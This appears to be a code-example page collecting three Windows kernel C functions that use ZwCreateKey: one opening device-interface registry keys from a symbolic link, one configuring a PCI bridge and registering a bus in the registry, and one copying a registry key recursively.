NTSTATUS
OpenRegistryHandlesFromSymbolicLink(IN PUNICODE_STRING SymbolicLinkName,
                                    IN ACCESS_MASK DesiredAccess,
                                    IN OPTIONAL PHANDLE GuidKey,
                                    IN OPTIONAL PHANDLE DeviceKey,
                                    IN OPTIONAL PHANDLE InstanceKey)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    WCHAR PathBuffer[MAX_PATH];
    UNICODE_STRING BaseKeyU;
    UNICODE_STRING GuidString, SubKeyName, ReferenceString;
    PWCHAR StartPosition, EndPosition;
    HANDLE ClassesKey;
    PHANDLE GuidKeyRealP, DeviceKeyRealP, InstanceKeyRealP;
    HANDLE GuidKeyReal, DeviceKeyReal, InstanceKeyReal;
    NTSTATUS Status;

    SubKeyName.Buffer = NULL;

    if (GuidKey != NULL)
        GuidKeyRealP = GuidKey;
    else
        GuidKeyRealP = &GuidKeyReal;

    if (DeviceKey != NULL)
        DeviceKeyRealP = DeviceKey;
    else
        DeviceKeyRealP = &DeviceKeyReal;

    if (InstanceKey != NULL)
        InstanceKeyRealP = InstanceKey;
    else
        InstanceKeyRealP = &InstanceKeyReal;

    *GuidKeyRealP = INVALID_HANDLE_VALUE;
    *DeviceKeyRealP = INVALID_HANDLE_VALUE;
    *InstanceKeyRealP = INVALID_HANDLE_VALUE;

    BaseKeyU.Buffer = PathBuffer;
    BaseKeyU.Length = 0;
    BaseKeyU.MaximumLength = MAX_PATH * sizeof(WCHAR);

    RtlAppendUnicodeToString(&BaseKeyU, BaseKeyString);

    /* Open the DeviceClasses key */
    InitializeObjectAttributes(&ObjectAttributes,
                               &BaseKeyU,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               NULL,
                               NULL);
    Status = ZwOpenKey(&ClassesKey,
                       DesiredAccess | KEY_ENUMERATE_SUB_KEYS,
                       &ObjectAttributes);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to open %wZ\n", &BaseKeyU);
        goto cleanup;
    }

    StartPosition = wcschr(SymbolicLinkName->Buffer, L'{');
    EndPosition = wcschr(SymbolicLinkName->Buffer, L'}');
    if (!StartPosition || !EndPosition || StartPosition > EndPosition)
    {
        DPRINT1("Bad symbolic link: %wZ\n", SymbolicLinkName);
        return STATUS_INVALID_PARAMETER_1;
    }
    GuidString.Buffer = StartPosition;
    GuidString.MaximumLength = GuidString.Length = (USHORT)((ULONG_PTR)(EndPosition + 1) - (ULONG_PTR)StartPosition);

    InitializeObjectAttributes(&ObjectAttributes,
                               &GuidString,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               ClassesKey,
                               NULL);
    Status = ZwCreateKey(GuidKeyRealP,
                         DesiredAccess | KEY_ENUMERATE_SUB_KEYS,
                         &ObjectAttributes,
                         0,
                         NULL,
                         REG_OPTION_NON_VOLATILE,
                         NULL);
    ZwClose(ClassesKey);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to open %wZ%wZ (%x)\n", &BaseKeyU, &GuidString, Status);
        goto cleanup;
    }

    SubKeyName.MaximumLength = SymbolicLinkName->Length + sizeof(WCHAR);
    SubKeyName.Length = 0;
    SubKeyName.Buffer = ExAllocatePool(PagedPool, SubKeyName.MaximumLength);
    if (!SubKeyName.Buffer)
    {
        Status = STATUS_INSUFFICIENT_RESOURCES;
        goto cleanup;
    }

    RtlAppendUnicodeStringToString(&SubKeyName,
                                   SymbolicLinkName);

    SubKeyName.Buffer[SubKeyName.Length / sizeof(WCHAR)] = UNICODE_NULL;

    SubKeyName.Buffer[0] = L'#';
    SubKeyName.Buffer[1] = L'#';
    SubKeyName.Buffer[2] = L'?';
    SubKeyName.Buffer[3] = L'#';

    ReferenceString.Buffer = wcsrchr(SubKeyName.Buffer, '\\');
    if (ReferenceString.Buffer != NULL)
    {
        ReferenceString.Buffer[0] = L'#';

        SubKeyName.Length = (USHORT)((ULONG_PTR)(ReferenceString.Buffer) - (ULONG_PTR)SubKeyName.Buffer);
        ReferenceString.Length = SymbolicLinkName->Length - SubKeyName.Length;
    }
    else
    {
        RtlInitUnicodeString(&ReferenceString, L"#");
    }

    InitializeObjectAttributes(&ObjectAttributes,
                               &SubKeyName,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               *GuidKeyRealP,
                               NULL);
    Status = ZwCreateKey(DeviceKeyRealP,
                         DesiredAccess | KEY_ENUMERATE_SUB_KEYS,
                         &ObjectAttributes,
                         0,
                         NULL,
                         REG_OPTION_NON_VOLATILE,
                         NULL);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to open %wZ%wZ\\%wZ\n", &BaseKeyU, &GuidString, &SubKeyName);
        goto cleanup;
    }

    InitializeObjectAttributes(&ObjectAttributes,
                               &ReferenceString,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               *DeviceKeyRealP,
                               NULL);
    Status = ZwCreateKey(InstanceKeyRealP,
                         DesiredAccess,
                         &ObjectAttributes,
                         0,
                         NULL,
                         REG_OPTION_NON_VOLATILE,
                         NULL);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to open %wZ%wZ\\%wZ%\\%wZ (%x)\n", &BaseKeyU, &GuidString, &SubKeyName, &ReferenceString, Status);
        goto cleanup;
    }

    Status = STATUS_SUCCESS;

cleanup:
    if (SubKeyName.Buffer != NULL)
       ExFreePool(SubKeyName.Buffer);

    if (NT_SUCCESS(Status))
    {
       if (!GuidKey)
          ZwClose(*GuidKeyRealP);

       if (!DeviceKey)
          ZwClose(*DeviceKeyRealP);

       if (!InstanceKey)
          ZwClose(*InstanceKeyRealP);
    }
    else
    {
       if (*GuidKeyRealP != INVALID_HANDLE_VALUE)
          ZwClose(*GuidKeyRealP);

       if (*DeviceKeyRealP != INVALID_HANDLE_VALUE)
          ZwClose(*DeviceKeyRealP);

       if (*InstanceKeyRealP != INVALID_HANDLE_VALUE)
          ZwClose(*InstanceKeyRealP);
    }

    return Status;
}
예제 #29
0
VOID
HalpGetPciBridgeNeeds (
    IN ULONG            HwType,
    IN PUCHAR           MaxPciBus,
    IN PCONFIGBRIDGE    Current
    )
{
    ACCESS_MASK                     DesiredAccess;
    UNICODE_STRING                  unicodeString;
    PUCHAR                          buffer;
    HANDLE                          handle;
    OBJECT_ATTRIBUTES               objectAttributes;
    PCM_FULL_RESOURCE_DESCRIPTOR    Descriptor;
    PCONFIGURATION_COMPONENT        Component;
    CONFIGBRIDGE                    CB;
    ULONG                           mnum, d, f;
    NTSTATUS                        status;


    buffer = ExAllocatePool (PagedPool, 1024);

    // init
    CB.PciData = (PPCI_COMMON_CONFIG) CB.Buffer;
    CB.SlotNumber.u.bits.Reserved = 0;
    Current->IO = Current->Memory = Current->PFMemory = 0;

    //
    // Assign this bridge an ID, and turn on configuration space
    //

    Current->PciData->u.type1.PrimaryBus = (UCHAR) Current->BusNo;
    Current->PciData->u.type1.SecondaryBus = (UCHAR) *MaxPciBus;
    Current->PciData->u.type1.SubordinateBus = (UCHAR) 0xFF;
    Current->PciData->u.type1.SecondaryStatus = 0xffff;
    Current->PciData->Status  = 0xffff;
    Current->PciData->Command = 0;

    Current->PciData->u.type1.BridgeControl = PCI_ASSERT_BRIDGE_RESET;

    HalpWritePCIConfig (
        Current->BusHandler,
        Current->SlotNumber,
        Current->PciData,
        0,
        PCI_COMMON_HDR_LENGTH
        );

    KeStallExecutionProcessor (100);

    Current->PciData->u.type1.BridgeControl = 0;
    HalpWritePCIConfig (
        Current->BusHandler,
        Current->SlotNumber,
        Current->PciData,
        0,
        PCI_COMMON_HDR_LENGTH
        );


    KeStallExecutionProcessor (100);

    //
    // Allocate new handler for bus
    //

    CB.BusHandler = HalpAllocateAndInitPciBusHandler (HwType, *MaxPciBus, FALSE);
    CB.BusData = (PPCIPBUSDATA) CB.BusHandler->BusData;
    CB.BusNo = *MaxPciBus;
    *MaxPciBus += 1;

    //
    // Add another PCI bus in the registry
    //

    mnum = 0;
    for (; ;) {
        //
        // Find next available MultiFunctionAdapter key
        //

        DesiredAccess = KEY_READ | KEY_WRITE;
        swprintf ((PWCHAR) buffer, L"%s\\%d", rgzMultiFunctionAdapter, mnum);
        RtlInitUnicodeString (&unicodeString, (PWCHAR) buffer);

        InitializeObjectAttributes( &objectAttributes,
                                    &unicodeString,
                                    OBJ_CASE_INSENSITIVE,
                                    NULL,
                                    (PSECURITY_DESCRIPTOR) NULL
                                    );

        status = ZwOpenKey( &handle, DesiredAccess, &objectAttributes);
        if (!NT_SUCCESS(status)) {
            break;
        }

        // already exists, next
        ZwClose (handle);
        mnum += 1;
    }

    ZwCreateKey (&handle,
                   DesiredAccess,
                   &objectAttributes,
                   0,
                   NULL,
                   REG_OPTION_VOLATILE,
                   &d
                );

    //
    // Add needed registry values for this MultifucntionAdapter entry
    //

    RtlInitUnicodeString (&unicodeString, rgzIdentifier);
    ZwSetValueKey (handle,
                   &unicodeString,
                   0L,
                   REG_SZ,
                   L"PCI",
                   sizeof (L"PCI")
                   );

    RtlInitUnicodeString (&unicodeString, rgzConfigurationData);
    Descriptor = (PCM_FULL_RESOURCE_DESCRIPTOR) buffer;
    Descriptor->InterfaceType = PCIBus;
    Descriptor->BusNumber = CB.BusNo;
    Descriptor->PartialResourceList.Version = 0;
    Descriptor->PartialResourceList.Revision = 0;
    Descriptor->PartialResourceList.Count = 0;
    ZwSetValueKey (handle,
                   &unicodeString,
                   0L,
                   REG_FULL_RESOURCE_DESCRIPTOR,
                   Descriptor,
                   sizeof (*Descriptor)
                   );


    RtlInitUnicodeString (&unicodeString, L"Component Information");
    Component = (PCONFIGURATION_COMPONENT) buffer;
    RtlZeroMemory (Component, sizeof (*Component));
    Component->AffinityMask = 0xffffffff;
    ZwSetValueKey (handle,
                   &unicodeString,
                   0L,
                   REG_BINARY,
                   Component,
                   FIELD_OFFSET (CONFIGURATION_COMPONENT, ConfigurationDataLength)
                   );

    ZwClose (handle);


    //
    // Since the firmware didn't configure this bridge we'll assume that
    // the PCI interrupts are bridged.
    //

    for (d = 0; d < PCI_MAX_DEVICES; d++) {
        CB.SlotNumber.u.bits.DeviceNumber = d;

        for (f = 0; f < PCI_MAX_FUNCTION; f++) {
            CB.SlotNumber.u.bits.FunctionNumber = f;

            HalpReadPCIConfig (
                    Current->BusHandler,
                    CB.SlotNumber,
                    CB.PciData,
                    0,
                    PCI_COMMON_HDR_LENGTH
                    );

             if (CB.PciData->VendorID == PCI_INVALID_VENDORID) {
                    break;
             }

             if (CB.PciData->u.type0.InterruptPin  &&
                    (PCI_CONFIG_TYPE (CB.PciData) == PCI_DEVICE_TYPE  ||
                     PCI_CONFIG_TYPE (CB.PciData) == PCI_BRIDGE_TYPE)) {

                    //
                    // Get IRQ value from table since firmware
                    // did not initialize the bridge.
                    //

                    Current->PciData->u.type1.InterruptPin =
                        CB.PciData->u.type0.InterruptPin + (UCHAR)d % 4;

                    Current->PciData->u.type1.InterruptLine =
                        HalpPCIPinToLineTable[(CB.BusNo*8) + CB.SlotNumber.u.bits.DeviceNumber];
             }
        }
    }

    //
    // Look at each device on the bus and determine it's resource needs
    //

    for (d = 0; d < PCI_MAX_DEVICES; d++) {
        CB.SlotNumber.u.bits.DeviceNumber = d;

        for (f = 0; f < PCI_MAX_FUNCTION; f++) {
            CB.SlotNumber.u.bits.FunctionNumber = f;

            HalpReadPCIConfig (
                CB.BusHandler,
                CB.SlotNumber,
                CB.PciData,
                0,
                PCI_COMMON_HDR_LENGTH
                );

            if (CB.PciData->VendorID == PCI_INVALID_VENDORID) {
                break;
            }

            if (IsPciBridge (CB.PciData)) {
                // oh look - another bridge ...
                HalpGetPciBridgeNeeds (HwType, MaxPciBus, &CB);
                continue;
            }

            if (PCI_CONFIG_TYPE (CB.PciData) != PCI_DEVICE_TYPE) {
                continue;
            }

            // found a device - figure out the resources it needs
        }
    }

    //
    // Found all sub-buses set SubordinateBus accordingly
    //

    Current->PciData->u.type1.SubordinateBus = (UCHAR) *MaxPciBus - 1;

    HalpWritePCIConfig (
        Current->BusHandler,
        Current->SlotNumber,
        Current->PciData,
        0,
        PCI_COMMON_HDR_LENGTH
        );


    //
    // Set the bridges IO, Memory, and Prefetch Memory windows
    //

    // For now just pick some numbers & set everyone the same
    //  IO      0x6000 - 0xFFFF
    //  MEM     0x40000000 - 0x4FFFFFFF
    //  PFMEM   0x50000000 - 0x5FFFFFFF

    Current->PciData->u.type1.IOBase       = 0xD000     >> 12 << 4;
    Current->PciData->u.type1.IOLimit      = 0xffff     >> 12 << 4;
    Current->PciData->u.type1.MemoryBase   = 0x0 >> 20 << 4;
    Current->PciData->u.type1.MemoryLimit  = 0x0 >> 20 << 4;
    Current->PciData->u.type1.PrefetchBase  = 0 >> 20 << 4;
    Current->PciData->u.type1.PrefetchLimit = 0 >> 20 << 4;

    Current->PciData->u.type1.PrefetchBaseUpper32    = 0;
    Current->PciData->u.type1.PrefetchLimitUpper32   = 0;
    Current->PciData->u.type1.IOBaseUpper16         = 0;
    Current->PciData->u.type1.IOLimitUpper16        = 0;
    Current->PciData->u.type1.BridgeControl         =
        PCI_ENABLE_BRIDGE_ISA;

    HalpWritePCIConfig (
        Current->BusHandler,
        Current->SlotNumber,
        Current->PciData,
        0,
        PCI_COMMON_HDR_LENGTH
        );

    HalpReadPCIConfig (
        Current->BusHandler,
        Current->SlotNumber,
        Current->PciData,
        0,
        PCI_COMMON_HDR_LENGTH
        );

    // enable memory & io decodes

    Current->PciData->Command =
        PCI_ENABLE_IO_SPACE | PCI_ENABLE_MEMORY_SPACE | PCI_ENABLE_BUS_MASTER;

    HalpWritePCIConfig (
        Current->BusHandler,
        Current->SlotNumber,
        &Current->PciData->Command,
        FIELD_OFFSET (PCI_COMMON_CONFIG, Command),
        sizeof (Current->PciData->Command)
        );

    ExFreePool (buffer);
}
예제 #30
0
NTSTATUS
NTAPI
IntCopyRegistryKey(
    _In_ HANDLE SourceKeyHandle,
    _In_ HANDLE DestKeyHandle)
{
    PVOID InfoBuffer;
    PKEY_BASIC_INFORMATION KeyInformation;
    PKEY_VALUE_FULL_INFORMATION KeyValueInformation;
    OBJECT_ATTRIBUTES ObjectAttributes;
    ULONG Index, InformationLength, RequiredLength;
    UNICODE_STRING NameString;
    NTSTATUS Status;
    HANDLE SourceSubKeyHandle, DestSubKeyHandle;

    /* Start with no buffer, set initial size */
    InfoBuffer = NULL;
    InformationLength = 256;

    /* Start looping with key index 0 */
    Index = 0;
    while (TRUE)
    {
        /* Check if we have no buffer */
        if (InfoBuffer == NULL)
        {
            /* Allocate a new buffer */
            InfoBuffer = ExAllocatePoolWithTag(PagedPool,
                                               InformationLength,
                                               TAG_VIDEO_PORT_BUFFER);
            if (InfoBuffer == NULL)
            {
                ERR_(VIDEOPRT, "Could not allocate buffer for key info\n");
                return Status;
            }
        }

        /* Enumerate the next sub-key */
        KeyInformation = InfoBuffer;
        Status = ZwEnumerateKey(SourceKeyHandle,
                                Index,
                                KeyBasicInformation,
                                KeyInformation,
                                InformationLength,
                                &RequiredLength);
        if ((Status == STATUS_BUFFER_OVERFLOW) ||
            (Status == STATUS_BUFFER_TOO_SMALL))
        {
            /* Free the buffer and remember the required size */
            ExFreePoolWithTag(InfoBuffer, TAG_VIDEO_PORT_BUFFER);
            InfoBuffer = NULL;
            InformationLength = RequiredLength;

            /* Try again */
            continue;
        }
        else if (Status == STATUS_NO_MORE_ENTRIES)
        {
            /* We are done with the sub-keys */
            break;
        }
        else if (!NT_SUCCESS(Status))
        {
            ERR_(VIDEOPRT, "ZwEnumerateKey failed, status 0x%lx\n", Status);
            goto Cleanup;
        }

        /* Initialize a unicode string from the key name */
        NameString.Buffer = KeyInformation->Name;
        NameString.Length = (USHORT)KeyInformation->NameLength;
        NameString.MaximumLength = NameString.Length;

        /* Initialize object attributes and open the source sub-key */
        InitializeObjectAttributes(&ObjectAttributes,
                                   &NameString,
                                   OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,
                                   SourceKeyHandle,
                                   NULL);
        Status = ZwOpenKey(&SourceSubKeyHandle, KEY_READ, &ObjectAttributes);
        if (!NT_SUCCESS(Status))
        {
            ERR_(VIDEOPRT, "failed to open the source key.\n");
            goto Cleanup;
        }

        /* Initialize object attributes and create the dest sub-key */
        InitializeObjectAttributes(&ObjectAttributes,
                                   &NameString,
                                   OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,
                                   DestKeyHandle,
                                   NULL);
        Status = ZwCreateKey(&DestSubKeyHandle,
                             KEY_WRITE,
                             &ObjectAttributes,
                             0,
                             NULL,
                             0,
                             NULL);
        if (!NT_SUCCESS(Status))
        {
            ERR_(VIDEOPRT, "failed to create the destination key.\n");
            ObCloseHandle(SourceSubKeyHandle, KernelMode);
            goto Cleanup;
        }

        /* Recursively copy the sub-key */
        Status = IntCopyRegistryKey(SourceSubKeyHandle, DestSubKeyHandle);
        if (!NT_SUCCESS(Status))
        {
            /* Just warn, but continue with the remaining sub-keys */
            WARN_(VIDEOPRT, "failed to copy subkey '%wZ'.\n", &NameString);
        }

        /* Close the sub-key handles */
        ObCloseHandle(SourceSubKeyHandle, KernelMode);
        ObCloseHandle(DestSubKeyHandle, KernelMode);

        /* Next sub-key */
        Index++;
    }

    /* Start looping with value index 0 */
    Index = 0;
    while (TRUE)
    {
        /* Check if we have no buffer */
        if (InfoBuffer == NULL)
        {
            /* Allocate a new buffer */
            InfoBuffer = ExAllocatePoolWithTag(PagedPool,
                                               InformationLength,
                                               TAG_VIDEO_PORT_BUFFER);
            if (InfoBuffer == NULL)
            {
                ERR_(VIDEOPRT, "Could not allocate buffer for key values\n");
                return Status;
            }
        }

        /* Enumerate the next value */
        KeyValueInformation = InfoBuffer;
        Status = ZwEnumerateValueKey(SourceKeyHandle,
                                     Index,
                                     KeyValueFullInformation,
                                     KeyValueInformation,
                                     InformationLength,
                                     &RequiredLength);
        if ((Status == STATUS_BUFFER_OVERFLOW) ||
            (Status == STATUS_BUFFER_TOO_SMALL))
        {
            /* Free the buffer and remember the required size */
            ExFreePoolWithTag(InfoBuffer, TAG_VIDEO_PORT_BUFFER);
            InfoBuffer = NULL;
            InformationLength = RequiredLength;

            /* Try again */
            continue;
        }
        else if (Status == STATUS_NO_MORE_ENTRIES)
        {
            /* We are done with the values */
            Status = STATUS_SUCCESS;
            break;
        }
        else if (!NT_SUCCESS(Status))
        {
            ERR_(VIDEOPRT, "ZwEnumerateValueKey failed, status 0x%lx\n", Status);
            goto Cleanup;
        }

        /* Initialize a unicode string from the value name */
        NameString.Buffer = KeyValueInformation->Name;
        NameString.Length = (USHORT)KeyValueInformation->NameLength;
        NameString.MaximumLength = NameString.Length;

        /* Create the key value in the destination key */
        Status = ZwSetValueKey(DestKeyHandle,
                               &NameString,
                               KeyValueInformation->TitleIndex,
                               KeyValueInformation->Type,
                               (PUCHAR)KeyValueInformation + KeyValueInformation->DataOffset,
                               KeyValueInformation->DataLength);
        if (!NT_SUCCESS(Status))
        {
            /* Just warn, but continue with the remaining sub-keys */
            WARN_(VIDEOPRT, "failed to set value '%wZ'.\n", NameString);
        }

        /* Next subkey */
        Index++;
    }

Cleanup:
    /* Free the buffer and return the failure code */
    if (InfoBuffer != NULL)
		ExFreePoolWithTag(InfoBuffer, TAG_VIDEO_PORT_BUFFER);
    return Status;
}